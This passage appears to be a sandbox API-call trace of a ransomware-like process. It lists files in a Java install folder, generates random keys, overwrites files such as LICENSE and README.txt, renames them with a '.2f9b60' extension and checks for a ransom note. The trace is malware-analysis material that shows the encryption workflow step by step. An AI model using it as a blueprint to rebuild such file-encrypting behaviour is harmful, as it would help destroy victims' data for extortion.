lpFindFileData=0x1cd63650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1fca, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 1 [0127.568] wcscmp (_String1="tzmappings", _String2=".") returned 1 [0127.568] wcscmp (_String1="tzmappings", _String2="..") returned 1 [0127.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b863c70 [0127.569] wcscpy (in: _Dest=0x1b863c70, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.569] wcscat (in: _Dest=0x1b863c70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.569] wcscat (in: _Dest=0x1b863c70, _Source="tzmappings" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\tzmappings") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\tzmappings" [0127.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0 [0127.570] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zi", cAlternateFileName="")) returned 1 [0127.570] wcscmp (_String1="zi", _String2=".") returned 1 [0127.570] wcscmp (_String1="zi", _String2="..") returned 1 [0127.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1cd9ccd0 [0127.570] wcscpy (in: _Dest=0x1cd9ccd0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0127.570] wcscat (in: _Dest=0x1cd9ccd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0127.570] wcscat (in: _Dest=0x1cd9ccd0, _Source="zi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" [0127.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9ccd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0127.571] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zi", cAlternateFileName="")) returned 0 [0127.571] FindClose (in: hFindFile=0x1cd9c130 | out: hFindFile=0x1cd9c130) returned 1 [0127.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd63650) returned 1 [0127.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858af0) returned 1 [0127.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8592d0) returned 1 Thread: id = 959 os_tid = 0x15a4 [0101.308] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\LICENSE" (normalized: "c:\\program files (x86)\\java\\jre7\\license")) returned 0x20 [0102.481] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\LICENSE", dwFileAttributes=0x20) returned 1 [0102.483] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\LICENSE" (normalized: "c:\\program files (x86)\\java\\jre7\\license"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd7c [0102.483] GetFileSizeEx (in: hFile=0xd7c, lpFileSize=0x1d55fc80 | out: lpFileSize=0x1d55fc80*=41) returned 1 [0102.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b140 [0102.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d30 [0102.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859550 [0102.483] NtQuerySystemTime (in: CurrentTime=0x1d55fb40 | out: CurrentTime=0x1d55fb40*=132462177080062000) returned 0x0 [0102.483] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x23ab944b [0102.483] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x6e2f1412 [0102.483] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x6e836454 [0102.483] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x63759feb [0102.483] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x37478fb8 [0102.483] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x67986e13 [0102.483] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x5cc5cf91 [0102.483] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x343d95c7 [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0xd5c320c [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x165d0323 [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x1b64cf01 [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x789b2374 [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x5a041bd7 [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x387cc237 [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x7de5d226 [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x6d3340fb [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x74eed6b [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x4b4bebc9 [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x6335651a [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x51c07083 [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x260a6e14 [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x1cceaeed [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x5d6a7a69 [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x52656e0e [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x63ee3e2 [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x75956838 [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x6910f644 [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x503eeb02 [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x71075284 [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x157d6185 [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x794cb6e7 [0102.484] RtlRandomEx (in: Seed=0x1d55fb30 | out: Seed=0x1d55fb30) returned 0x6b7f97d8 [0102.497] ReadFile (in: hFile=0xd7c, lpBuffer=0x1ce64d60, nNumberOfBytesToRead=0x29, lpNumberOfBytesRead=0x1d55fb30, lpOverlapped=0x0 | out: lpBuffer=0x1ce64d60*, lpNumberOfBytesRead=0x1d55fb30*=0x29, lpOverlapped=0x0) returned 1 [0102.498] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.499] WriteFile (in: hFile=0xd7c, lpBuffer=0x2047f2a0*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0x1d55fb34, lpOverlapped=0x0 | out: lpBuffer=0x2047f2a0*, lpNumberOfBytesWritten=0x1d55fb34*=0x29, lpOverlapped=0x0) returned 1 [0103.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202602c0 [0103.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625a0 [0103.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202625a0) returned 1 [0103.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2047f2a0) returned 1 [0103.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce64d60) returned 1 [0103.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 [0103.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0103.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202625a0 [0103.021] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.021] WriteFile (in: hFile=0xd7c, lpBuffer=0x169a20*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1d55fc50, lpOverlapped=0x0 | out: lpBuffer=0x169a20*, lpNumberOfBytesWritten=0x1d55fc50*=0x100, lpOverlapped=0x0) returned 1 [0103.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0103.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e8f0 [0103.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ed0 [0103.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ed0) returned 1 [0103.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d000 [0103.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ed0 [0103.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609e0 [0103.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202609e0) returned 1 [0103.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0103.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0103.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x202609e0 [0103.390] sprintf (in: _Dest=0x202609e0, _Format="%c%c" | out: _Dest="ae") returned 2 [0103.390] sprintf (in: _Dest=0x202609e2, _Format="%c%c" | out: _Dest="84") returned 2 [0103.390] sprintf (in: _Dest=0x202609e4, _Format="%c%c" | out: _Dest="06") returned 2 [0103.390] sprintf (in: _Dest=0x202609e6, _Format="%c%c" | out: _Dest="ab") returned 2 [0103.390] sprintf (in: _Dest=0x202609e8, _Format="%c%c" | out: _Dest="e2") returned 2 [0103.390] sprintf (in: _Dest=0x202609ea, _Format="%c%c" | out: _Dest="45") returned 2 [0103.390] sprintf (in: _Dest=0x202609ec, _Format="%c%c" | out: _Dest="70") returned 2 [0103.390] sprintf (in: _Dest=0x202609ee, _Format="%c%c" | out: _Dest="4f") returned 2 [0103.390] sprintf (in: _Dest=0x202609f0, _Format="%c%c" | out: _Dest="fc") returned 2 [0103.390] sprintf (in: _Dest=0x202609f2, _Format="%c%c" | out: _Dest="77") returned 2 [0103.390] sprintf (in: _Dest=0x202609f4, _Format="%c%c" | out: _Dest="32") returned 2 [0103.390] sprintf (in: _Dest=0x202609f6, _Format="%c%c" | out: _Dest="e1") returned 2 [0103.391] sprintf (in: _Dest=0x202609f8, _Format="%c%c" | out: _Dest="ee") returned 2 [0103.391] sprintf (in: _Dest=0x202609fa, _Format="%c%c" | out: _Dest="dd") returned 2 [0103.391] RtlInitAnsiString (in: DestinationString=0x1d55fcc8, SourceString="ae8406abe245704ffc7732e1eedd" | out: DestinationString="ae8406abe245704ffc7732e1eedd") [0103.391] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d55fc98, SourceString="ae8406abe245704ffc7732e1eedd", AllocateDestinationString=1 | out: DestinationString="ae8406abe245704ffc7732e1eedd") returned 0x0 [0103.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd976c0 [0103.391] wcscat (in: _Dest=0x1ced59b0, _Source="ae8406a" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\ae8406a") returned="C:\\Program Files (x86)\\Java\\jre7\\ae8406a" [0103.391] wcscat (in: _Dest=0x1ced59b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\ae8406a.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\ae8406a.2f9b60" [0103.391] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\ae8406a.2f9b60", NtPathName=0x1d55fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\ae8406a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x20509cc0 [0104.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509cc0) returned 1 [0104.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052510) returned 1 [0104.352] NtQueryInformationFile (in: FileHandle=0xd7c, IoStatusBlock=0x1d55fcd8, FileInformation=0x1d55fce8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d55fcd8, FileInformation=0x1d55fce8) returned 0x0 [0104.352] NtSetInformationFile (FileHandle=0xd7c, IoStatusBlock=0x1d55fcd8, FileInformation=0x1d55fce8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced59b0) returned 1 [0104.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0104.497] FlushFileBuffers (hFile=0xd7c) returned 1 [0104.627] CloseHandle (hObject=0xd7c) returned 1 [0104.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1ced5be0 [0104.628] wcscpy (in: _Dest=0x1ced5be0, _Source="C:\\Program Files (x86)\\Java\\jre7\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0104.628] wcscat (in: _Dest=0x1ced5be0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt" [0104.628] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\2f9b60-readme.txt")) returned 0x20 [0104.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5be0) returned 1 [0104.628] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859330) returned 1 Thread: id = 960 os_tid = 0x15a8 [0101.310] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\README.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt")) returned 0x20 [0103.096] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\README.txt", dwFileAttributes=0x20) returned 1 [0103.173] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\README.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1748 [0103.173] GetFileSizeEx (in: hFile=0x1748, lpFileSize=0x2ffcfd20 | out: lpFileSize=0x2ffcfd20*=47) returned 1 [0103.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0103.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0103.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202618e0 [0103.173] NtQuerySystemTime (in: CurrentTime=0x2ffcfbe0 | out: CurrentTime=0x2ffcfbe0*=132462177086770000) returned 0x0 [0103.173] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x739c65da [0103.173] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x4570933 [0103.173] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x4984f436 [0103.173] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x4cabf5d3 [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x483000f2 [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x62650cc1 [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0xea70550 [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x40c9fcdc [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0xb4c947e [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x33fd5ec5 [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x782fc9e [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x46b19c9e [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x11bb485a [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x21db43b9 [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x2f962bc7 [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x39ff1bc3 [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x62babe41 [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x542e0ad1 [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x4607399 [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x7b7a0967 [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x74472b6c [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x4b59fc31 [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x17b4fd0 [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x59b62599 [0103.174] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x6e533839 [0103.175] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x5ff4c745 [0103.175] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x32794fbc [0103.175] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x7017d60 [0103.175] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x420eefc8 [0103.175] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x7cc43033 [0103.175] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0xa1251ab [0103.175] RtlRandomEx (in: Seed=0x2ffcfbd0 | out: Seed=0x2ffcfbd0) returned 0x40664946 [0103.232] ReadFile (in: hFile=0x1748, lpBuffer=0x1ce99640, nNumberOfBytesToRead=0x2f, lpNumberOfBytesRead=0x2ffcfbd0, lpOverlapped=0x0 | out: lpBuffer=0x1ce99640*, lpNumberOfBytesRead=0x2ffcfbd0*=0x2f, lpOverlapped=0x0) returned 1 [0103.233] SetFilePointerEx (in: hFile=0x1748, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.233] WriteFile (in: hFile=0x1748, lpBuffer=0x1ce82de0*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x2ffcfbd4, lpOverlapped=0x0 | out: lpBuffer=0x1ce82de0*, lpNumberOfBytesWritten=0x2ffcfbd4*=0x2f, lpOverlapped=0x0) returned 1 [0103.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b7a0 [0103.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b8f0 [0103.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b8f0) returned 1 [0103.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce82de0) returned 1 [0103.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce99640) returned 1 [0103.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0103.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0103.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82b8f0 [0103.422] SetFilePointerEx (in: hFile=0x1748, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.422] WriteFile (in: hFile=0x1748, lpBuffer=0x1692b0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2ffcfcf0, lpOverlapped=0x0 | out: lpBuffer=0x1692b0*, lpNumberOfBytesWritten=0x2ffcfcf0*=0x106, lpOverlapped=0x0) returned 1 [0103.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503c10 [0103.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261280 [0103.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261280) returned 1 [0103.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0103.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261280 [0103.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262450 [0103.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262450) returned 1 [0103.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503c10) returned 1 [0103.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f630 [0103.848] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="8d") returned 2 [0103.848] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="ae") returned 2 [0103.848] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="f4") returned 2 [0103.848] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="ea") returned 2 [0103.848] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="6f") returned 2 [0103.848] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="d0") returned 2 [0103.848] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="10") returned 2 [0103.848] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="47") returned 2 [0103.848] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="f3") returned 2 [0103.848] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="b1") returned 2 [0103.848] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="9e") returned 2 [0103.848] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="ef") returned 2 [0103.848] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="cd") returned 2 [0103.849] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="19") returned 2 [0103.849] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="42") returned 2 [0103.849] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="aa") returned 2 [0103.849] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="9d") returned 2 [0103.849] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="b0") returned 2 [0103.849] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="f3") returned 2 [0103.849] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="cb") returned 2 [0103.849] RtlInitAnsiString (in: DestinationString=0x2ffcfd68, SourceString="8daef4ea6fd01047f3b19eefcd1942aa9db0f3cb" | out: DestinationString="8daef4ea6fd01047f3b19eefcd1942aa9db0f3cb") [0103.849] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ffcfd38, SourceString="8daef4ea6fd01047f3b19eefcd1942aa9db0f3cb", AllocateDestinationString=1 | out: DestinationString="8daef4ea6fd01047f3b19eefcd1942aa9db0f3cb") returned 0x0 [0103.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9cf10 [0103.849] wcscat (in: _Dest=0x1ced5b70, _Source="8daef4ea6f" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\8daef4ea6f") returned="C:\\Program Files (x86)\\Java\\jre7\\8daef4ea6f" [0103.849] wcscat (in: _Dest=0x1ced5b70, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\8daef4ea6f.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\8daef4ea6f.2f9b60" [0103.849] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\8daef4ea6f.2f9b60", NtPathName=0x2ffcfd10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\8daef4ea6f.2f9b60", NtFileNamePart=0x0, 